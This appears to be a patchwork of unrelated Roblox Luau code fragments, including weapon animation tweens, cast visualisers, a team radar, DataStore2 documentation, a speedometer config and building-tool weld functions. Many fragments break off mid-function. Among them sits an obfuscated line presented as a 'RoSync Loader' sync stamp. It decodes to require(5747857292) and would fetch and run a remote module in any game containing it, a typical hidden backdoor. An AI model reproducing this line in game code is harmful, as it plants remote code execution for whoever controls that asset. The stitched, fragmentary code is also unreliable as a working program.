-- overlay.Position = UDim2.new(0, 0, 0, -22)
-- overlay.Size = UDim2.new(1, 0, 1.15, 30)
| |
-- @param Int amount
|
function WeaponRuntimeData:SubtractAmmo(amount)
self.currentAmmo = self.currentAmmo - amount
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
BoneModelName = "Suffer zone" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- // Public Methods \\ --
|
function CastVisualiser:Hide()
self.CastOriginPart.Parent = nil
end
function CastVisualiser:Raycast(Origin: Vector3, Direction: Vector3, RaycastParameters: RaycastParams?)
local self: CastVisualiserPrivate = self
local Cast = self.WorldRoot:Raycast(Origin, Direction, RaycastParameters)
if not Cast then
self:Hide()
return
end
self.CastOriginPart.CFrame = CFrame.lookAt(Origin, Cast.Position)
self.LineVisual.Length = Cast.Distance - CONE_HEIGHT
self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
self.BoxVisual.Visible = false
self.SphereVisual.Visible = false
self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot
end
function CastVisualiser:Blockcast(CF: CFrame, Size: Vector3, Direction: Vector3, RaycastParameters: RaycastParams?)
local self: CastVisualiserPrivate = self
local Cast = self.WorldRoot:Blockcast(CF, Size, Direction, RaycastParameters)
if not Cast then
self:Hide()
return
end
local FinalPos = CF.Position + (Direction.Unit * Cast.Distance)
self.CastOriginPart.CFrame = CFrame.lookAt(CF.Position, FinalPos)
self.LineVisual.Length = Cast.Distance - CONE_HEIGHT
self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
self.BoxVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
self.BoxVisual.Size = Size
self.BoxVisual.Visible = true
self.SphereVisual.Visible = false
self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot
end
function CastVisualiser:SphereCast(Origin: Vector3, Radius: number, Direction: Vector3, RaycastParameters: RaycastParams?)
local self: CastVisualiserPrivate = self
local Cast = self.WorldRoot:Spherecast(Origin, Radius, Direction, RaycastParameters)
if not Cast then
self:Hide()
return
end
local FinalPos = Origin + (Direction.Unit * Cast.Distance)
self.CastOriginPart.CFrame = CFrame.lookAt(Origin, FinalPos)
self.LineVisual.Length = Cast.Distance - CONE_HEIGHT
self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
self.SphereVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
self.SphereVisual.Radius = Radius
self.SphereVisual.Visible = true
self.BoxVisual.Visible = false
self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot
end
|
-- if not version then
-- return Error(
-- chalk.red(
-- chalk.bold('Outdated snapshot') .. ": No snapshot header found. " ..
-- "Jest 19 introduced version snapshots to ensure all developers " ..
-- "on a project are using the same version of Jest. " ..
-- "Please update all snapshots during this upgrade of Jest.\n\n"
-- ) .. SNAPSHOT_VERSION_WARNING
-- )
-- end
| |
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0.6, -0.2, -1) * CFrame.Angles(math.rad(-95), math.rad(30), math.rad(-60))}):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(0.3,-0.9,-0.7) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()
wait(0.15)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.5, -1) * CFrame.Angles(math.rad(-110), math.rad(30), math.rad(-60))}):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1,-0.6) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0.6, 0, -1) * CFrame.Angles(math.rad(-95), math.rad(30), math.rad(-60))}):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1.8,-0.8) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.2)
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(0.75)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
--[[
SCRIPT VERSION:
1.3, 10/19/21
CURRENT ISSUE:
Nothing
--]]
|
if not game.Loaded or not workspace:FindFirstChild("Terrain") then
game.Loaded:Wait();
game:GetService("Players").LocalPlayer.CharacterAdded:Wait();
end;
local Players = game:GetService("Players")
local Player = Players.LocalPlayer;
local Screen = script.Parent.Parent.Leveled.Admin;
local Sidebar = Screen.Sidebar.Inside;
function Animate(Instance, Time, Style, Direction, Animation, WaitForAnimation)
game:GetService("TweenService"):Create(Instance, TweenInfo.new(Time, Style, Direction, 0, false, 0), Animation):Play();
if WaitForAnimation == true then
wait(Time);
end;
end;
for Int, Button in pairs(Sidebar:GetChildren()) do
if Button:IsA("ImageButton") then
Button.MouseButton1Click:Connect(function()
if Screen:FindFirstChild(Button.Name).Visible == true then
Screen:FindFirstChild(Button.Name).Visible = false;
Button.ImageColor3 = Color3.fromRGB(120, 120, 125);
return;
end;
local WantScreen = Screen:FindFirstChild(Button.Name);
for Int, Ue1 in pairs(Screen:GetChildren()) do
if Ue1.Name ~= "Sidebar" then
Ue1.Visible = false;
Sidebar:FindFirstChild(Ue1.Name).ImageColor3 = Color3.fromRGB(120, 120, 125);
end;
end;
WantScreen.Visible = true;
Button.ImageColor3 = Color3.fromRGB(255, 255, 255);
end);
end;
end;
|
--[[
Classes.RadialMenu
This class creates a radial menu. It is by far the most "raw" module in this library as so much of how you interact with it is developer defined.
Constructors:
new(subN [integer], tPercent [float], rotation [float])
> Creates a radial menu divided into subN sections where the ring is tPercent width of the frame radius
> and the ring is rotationally offset by rotation radians
Properties:
Frame [instance]
> The container frame for the radial menu. Can be used for positioning and resizing.
> Note that this frame should always be square, by default it's set to YY size constraining
Rotation [float]
> The rotation offset that the developer entered as an argument when creating the radial menu.
SubN [integer]
> The number of subsections that the developer entered as an argument when creating the radial menu.
Enabled [boolean]
> Whether or not the radial menu is actively tracking input.
> Defaults to true
DeadZoneIn [float]
> Number represents a percentage from the radius that will be ignored in regards to input
> By default this is 0.5 meaning the center 50% of the radial frame ignores input
DeadZoneOut [float]
> Number represents a percentage from the radius that once passed will be ignored in regards to input.
> By default this is math.huge meaning that as long as your outside of DeadZoneIn your input will not be ignored.
Methods:
:SetRadialProps(props [dictionary]) [void]
> Sets the properties of all the radial background UI
:SetDialProps(props [dictionary]) [void]
> Sets the properties of the radial dial UI
:GetTheta(userInputType [Enum.UserInputType]) [float]
> Depending on if MouseMovement, Touch, or a Gamepad returns the directional angle that the user is inputting on their device
> If input is not in deadzone range then this method returns nil
> Returns the angle in radians
:PickIndex(theta) [integer]
> Given a directional angle returns the closest element on the radial wheel as an index.
:GetRadial(index) [instance]
> Returns the radial background UI for that index.
:GetAttachment(index) [instance]
> Returns the radial attachment UI for that index.
> This frame is useful for putting text or images in.
:IsVisible() [boolean]
> Returns whether or not the radial menu is visible to the user or not.
:Destroy() [void]
> Destroys the RadioButtonGroup and all the events, etc that were running it.
Events:
.Clicked:Connect(function(index [integer])
> Fired when the user selects an element on the radial menu.
.Hover:Connect(function(oldIndex [integer], newIndex [integer])
> Fired when the user hovers in the direction of a new element on the radial menu
--]]
| |
-------------------------------------------
|
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.5,0.3) * CFrame.fromEulerAnglesXYZ(math.rad(20),0.1,0.1)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
|
-- SecArrow.Rotation = 180+(second*6)
|
wait(1)
end
|
--[=[
Unions the set with the other set, making a copy.
@param set table
@param otherSet table
@return table
]=]
|
function Set.union(set, otherSet)
local newSet = {}
for key, _ in pairs(set) do
newSet[key] = true
end
for key, _ in pairs(otherSet) do
newSet[key] = true
end
return newSet
end
|
-- This is to store other things that may require our radar attention
|
local Camera = workspace.CurrentCamera
local SaveList = {MinhaVisao = 1, RosaDosVentos = 1, FoeBlip = 1, FriendBlip = 1}
local SquadSave = {UIGridLayout = 1}
Character.Humanoid.Died:Connect(function()
script.Parent.Enabled = false
end)
game:GetService("RunService").RenderStepped:connect(function()
local Direction = (Vector2.new(Camera.Focus.x,Camera.Focus.z)-Vector2.new(Camera.CoordinateFrame.x,Camera.CoordinateFrame.z)).unit
local theta = (math.atan2(Direction.y,Direction.x))*(-180/math.pi) - 90
if Saude.FireTeam.SquadName.Value ~= "" then
MinhasVisao.ImageColor3 = Saude.FireTeam.SquadColor.Value
else
MinhasVisao.ImageColor3 = Color3.fromRGB(255,255,255)
end
local frame = Vector3.new(Camera.CoordinateFrame.x, 0, Camera.CoordinateFrame.z)
local focus = Vector3.new(Camera.Focus.x, 0, Camera.Focus.z)
local frame = CFrame.new(focus, frame)
script.Parent.Frame.RosaDosVentos.Rotation = theta
local players = game.Players:GetChildren()
if Saude.FireTeam.SquadName.Value ~= "" and Player then
script.Parent.Squad.Visible = true
script.Parent.Squad.Esquadrao.Text = Saude.FireTeam.SquadName.Value
else
script.Parent.Squad.Visible = false
end
local Nomes = script.Parent.Squad.Membros:GetChildren()
for i = 1, #Nomes do
if not SquadSave[Nomes[i].Name] then
Nomes[i]:Destroy()
end
end
for i = 1, #players do
if players[i] ~= Player and players[i].Character and Player and Player.Character then
local unit = script.Parent.Squad.Membros:FindFirstChild(players[i].Name)
if not unit then
if players[i].TeamColor == Player.TeamColor and players[i].Character.Saude.FireTeam.SquadName.Value == Player.Character.Saude.FireTeam.SquadName.Value and Player.Character.Saude.FireTeam.SquadName.Value ~= "" then
unit = script.Parent.Squad.Exemplo:Clone()
unit.Visible = true
unit.Text = players[i].Name
unit.Name = players[i].Name
unit.Parent = script.Parent.Squad.Membros
end
end
end
end
local labels = RadarFrame:GetChildren()
for i = 1, #labels do
if not SaveList[labels[i].Name] then
labels[i]:Destroy()
end
end
for i = 1, #players do
if players[i] ~= Player and players[i].Character and Player and Player.Character then
local unit = RadarFrame:FindFirstChild(players[i].Name)
if not unit then
if players[i].TeamColor == Player.TeamColor then
unit = FriendBlip:Clone()
else
unit = FoeBlip:Clone()
end
unit.Visible = false
unit.Name = players[i].Name
unit.Parent = RadarFrame
end
if players[i].Character:FindFirstChild('Humanoid') and players[i].Character:FindFirstChild('HumanoidRootPart') then
-- Get the relative position of the players
local pos = CFrame.new(players[i].Character.HumanoidRootPart.Position.X, 0, players[i].Character.HumanoidRootPart.Position.Z)
local relativeCFrame = frame:inverse() * pos
local distanceRatio = relativeCFrame.p.Magnitude/RANGE
if distanceRatio < 0.9 then
local xScale = 0.5 - ((relativeCFrame.x/RANGE)/2)
local yScale = 0.5 - ((relativeCFrame.z/RANGE)/2)
unit.Position = UDim2.new(xScale, 0, yScale, 0)
unit.Rotation = -players[i].Character.HumanoidRootPart.Orientation.Y + theta
if players[i].TeamColor == Player.TeamColor then
if players[i].Character.Saude.FireTeam.SquadName.Value ~= "" then
unit.ImageColor3 = players[i].Character.Saude.FireTeam.SquadColor.Value
else
unit.ImageColor3 = FriendBlip.ImageColor3
end
else
unit.ImageColor3 = FoeBlip.ImageColor3
end
unit.Visible = true
else
unit.Visible = false
end
else
unit.Visible = false
end
end
end
end)
|
-- function fires EVERYTIME a player joins the game
|
game.Players.PlayerAdded:Connect(onPlayerAdded)
|
--[[
DataStore2: A wrapper for data stores that caches and saves player's data.
DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore
DataStore2 DataStore:
- Get([defaultValue])
- Set(value)
- Update(updateFunc)
- Increment(value, defaultValue)
- BeforeInitialGet(modifier)
- BeforeSave(modifier)
- Save()
- SaveAsync()
- OnUpdate(callback)
- BindToClose(callback)
local coinStore = DataStore2("Coins", player)
To give a player coins:
coinStore:Increment(50)
To get the current player's coins:
coinStore:Get()
--]]
|
local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")
local Constants = require(script.Constants)
local IsPlayer = require(script.IsPlayer)
local Promise = require(script.Promise)
local SavingMethods = require(script.SavingMethods)
local Settings = require(script.Settings)
local TableUtil = require(script.TableUtil)
local Verifier = require(script.Verifier)
local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value
local function clone(value)
if typeof(value) == "table" then
return TableUtil.clone(value)
else
return value
end
end
|
--[=[
Locks the mouse in its current position on screen. Call `mouse:Unlock()`
to unlock the mouse.
:::caution Must explicitly unlock
Be sure to explicitly call `mouse:Unlock()` before cleaning up the mouse.
The `Destroy` method does _not_ unlock the mouse since there is no way
to guarantee who "owns" the mouse lock.
]=]
|
function Mouse:Lock()
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 160 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 260 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 270 ,
spInc = 20 , -- Increment between labelled notches
}
}
|
-- Servic
|
local rp = game:GetService("ReplicatedStorage")
local Players = game:GetService('Players')
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.GASettings
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
--[[ Last synced 12/13/2020 05:30 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--sound.ScriptWestMinsterChimes.Disabled=true
|
script.Parent.HiLo.Value = false
sound.ScriptOff.Disabled=false
wait()
script.Parent.Spin.Value = false
end
wait()
end
|
-- References to reduce indexing time
|
local GetConnectedParts = Instance.new('Part').GetConnectedParts;
local GetChildren = script.GetChildren;
function GetPartWelds(Part)
-- Returns any BT-created welds involving `Part`
local Welds = {};
-- Get welds stored inside `Part`
for Weld in pairs(SearchWelds(Part, Part)) do
Welds[Weld] = true;
end;
-- Get welds stored inside connected parts
for _, ConnectedPart in pairs(GetConnectedParts(Part)) do
for Weld in pairs(SearchWelds(ConnectedPart, Part)) do
Welds[Weld] = true;
end;
end;
-- Return all found welds
return Welds;
end;
function SearchWelds(Haystack, Part)
-- Searches for and returns BT-created welds in `Haystack` involving `Part`
local Welds = {};
-- Search the haystack for welds involving `Part`
for _, Item in pairs(GetChildren(Haystack)) do
-- Check if this item is a BT-created weld involving the part
if Item.Name == 'BTWeld' and Item.ClassName == 'Weld' and
(Item.Part0 == Part or Item.Part1 == Part) then
-- Store weld if valid
Welds[Item] = true;
end;
end;
-- Return the found welds
return Welds;
end;
function CreateWelds()
-- Creates welds for every selected part to the focused part
-- Send the change request to the server API
local Welds = Core.SyncAPI:Invoke('CreateWelds', Selection.Items, Selection.Focus);
-- Update the UI with the number of welds created
UI.Changes.Text.Text = ('created %s weld%s'):format(#Welds, #Welds == 1 and '' or 's');
-- Play a confirmation sound
Core.PlayConfirmationSound();
-- Put together the history record
local HistoryRecord = {
Welds = Welds;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Remove the welds
Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Restore the welds
Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds);
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function BreakWelds()
-- Search for any selection-connecting, BT-created welds and remove them
local Welds = {};
-- Find welds in selected parts
for _, Part in pairs(Selection.Items) do
for Weld in pairs(GetPartWelds(Part)) do
Welds[Weld] = true;
end;
end;
-- Turn weld index into list
Welds = Support.Keys(Welds);
-- Send the change request to the server API
local WeldsRemoved = Core.SyncAPI:Invoke('RemoveWelds', Welds);
-- Update the UI with the number of welds removed
UI.Changes.Text.Text = ('removed %s weld%s'):format(WeldsRemoved, WeldsRemoved == 1 and '' or 's');
-- Put together the history record
local HistoryRecord = {
Welds = Welds;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Restore the welds
Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Remove the welds
Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds);
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function EnableFocusHighlighting()
-- Enables automatic highlighting of the focused part in the selection
-- Only enable focus highlighting in tool mode
if Core.Mode ~= 'Tool' then
return;
end;
-- Reset all outline colors
Core.Selection.RecolorOutlines(Core.Selection.Color);
-- Recolor current focused item
if Selection.Focus and (#Selection.Items > 1) then
Core.Selection.Outlines[Selection.Focus].Color = BrickColor.new('Deep orange');
end;
-- Recolor future focused items
Connections.FocusHighlighting = Selection.FocusChanged:connect(function (FocusedItem)
-- Reset all outline colors
Core.Selection.RecolorOutlines(Core.Selection.Color);
-- Recolor newly focused item
if FocusedItem and (#Selection.Items > 1) then
Core.Selection.Outlines[FocusedItem].Color = BrickColor.new('Deep orange');
end;
end);
end;
|
-- Controls IDs for the various handles.
|
return {
Left = "Left",
Right = "Right",
Top = "Top",
Bottom = "Bottom",
TopRight = "TopRight",
TopLeft = "TopLeft",
BottomRight = "BottomRight",
BottomLeft = "BottomLeft"
